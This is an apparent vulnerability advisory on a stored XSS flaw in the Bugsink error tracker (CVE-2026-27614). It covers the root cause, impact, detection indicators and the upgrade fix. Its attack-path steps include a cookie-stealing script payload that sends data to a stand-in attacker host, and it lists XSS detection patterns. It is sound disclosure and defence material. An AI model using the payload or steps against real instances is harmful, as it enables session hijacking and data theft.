CVE-2026-27614: 
Python vulnerability analysis and mitigation

CVE-2026-27614 is a stored Cross-Site Scripting (XSS) vulnerability in Bugsink, a self-hosted error tracking tool, affecting all versions prior to 2.0.13. An unauthenticated attacker who can submit events to a Bugsink project can inject arbitrary JavaScript into a crafted Sentry event; the payload executes when an administrator views the affected stacktrace in the web UI. The vulnerability was published on February 21, 2026, and patched in version 2.0.13 released the same day. The CNA (GitHub) assigned a CVSS v3.1 score of 9.3 (Critical), while NVD assessed it at 6.1 (Medium) (Github Advisory, GitHub Security Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). In theme/templatetags/issues.py, the _pygmentize_lines() function falls back to returning raw, unescaped input lines when Pygments produces a different number of output lines than it received — a known upstream quirk triggered by Ruby heredoc-style input. The mark_safe() function is then applied unconditionally at lines 111–113 to all results, including these unsanitized fallback lines, causing them to be rendered as trusted HTML in the UI. Because Bugsink's DSN ingest endpoints are public by the Sentry protocol design, no authentication is required to submit a malicious event. The fix (commit e784d6a) replaces the raw fallback result = lines with result = [escape(l) for l in lines] to properly HTML-escape the output (GitHub Security Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in an administrator's browser with full administrative privileges within Bugsink. This enables unauthorized access to sensitive error tracking data (including stack traces, environment variables, and application secrets captured in events), modification of project settings, and potential further compromise of the system. The malicious payload persists in the database indefinitely until an administrator views the crafted event, making this a persistent threat. Confidentiality and integrity impacts are rated High by the CNA, with no availability impact (Github Advisory, GitHub Security Advisory).

A public proof-of-concept (PoC) is included in the official security advisory, demonstrating event submission via a Python requests script targeting the /api/<project-id>/store/ endpoint with a crafted Ruby heredoc payload. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.099% (27th percentile), indicating a low but non-negligible probability of exploitation in the near term. The vulnerability is not listed in the CISA KEV catalog (Github Advisory, GitHub Security Advisory).

1. Obtain a valid DSN: Identify a Bugsink instance and obtain a valid project DSN (Data Source Name). DSNs may be exposed in client-side JavaScript, mobile apps, or configuration files of applications using Bugsink for error tracking.
2. Craft a malicious Sentry event: Construct a JSON payload containing a stacktrace frame with Ruby heredoc-style context lines embedding a JavaScript XSS payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) in the pre_context field with filename set to app.rb.
3. Submit the event: Send an HTTP POST request to http://<bugsink-host>/api/<project-id>/store/ with the crafted payload and a valid X-Sentry-Auth header containing the DSN key. No authentication beyond the DSN is required.
4. Wait for administrator interaction: The payload is stored in the Bugsink database. When an administrator navigates to the event's stacktrace view in the web UI, the Pygments line-count mismatch triggers the fallback path, and mark_safe() renders the unsanitized payload as HTML.
5. Execute payload: The injected JavaScript executes in the administrator's browser session, enabling cookie exfiltration, session hijacking, or other actions with administrative privileges within Bugsink (GitHub Security Advisory).

• Logs: Bugsink internal diagnostic log entries containing "Pygments line count mismatch, falling back to unformatted code" — especially when associated with Ruby (.rb) filenames or unusual language contexts — may indicate exploitation attempts (note: this condition can also occur benignly).
• Network: Unexpected outbound HTTP requests from an administrator's browser to external domains immediately after viewing a Bugsink event stacktrace; POST requests to /api/<project-id>/store/ from unknown or external IP addresses with X-Sentry-Auth headers and Ruby-related filenames in the payload body.
• Application: Bugsink events containing stacktrace frames with filename values ending in .rb and pre_context lines containing HTML tags or JavaScript syntax (e.g., <script>, onerror=, javascript:) in the stored event data.
• Database: Stored event records with exception stacktrace frames where pre_context or context_line fields contain HTML/JavaScript content rather than plain source code (GitHub Security Advisory).

Upgrade Bugsink to version 2.0.13 or later, which escapes output in the Pygments fallback path using Django's escape() function (Release Notes, Patch Commit). For organizations unable to patch immediately, restrict network access to the Bugsink ingest endpoint (/api/*/store/) to trusted IP ranges only, and limit distribution of project DSNs. Additionally, implementing Content Security Policy (CSP) headers can reduce the impact of any XSS that executes before patching is complete. Administrators should avoid viewing stacktraces from untrusted or unexpected events until the patch is applied.

The vulnerability was reported by security researcher ByamB4 and disclosed by the Bugsink maintainer (vanschelven) via GitHub Security Advisories on February 21, 2026. Coverage appeared on The Hacker Wire and CyberHub Blog shortly after disclosure (The Hacker Wire, CyberHub Blog). Social media discussion was noted on Mastodon via @thehackerwire. Community reaction was generally focused on the interesting technical root cause — a third-party library (Pygments) quirk leading to a security bypass — and the fact that the public DSN design of the Sentry protocol makes unauthenticated injection trivially accessible.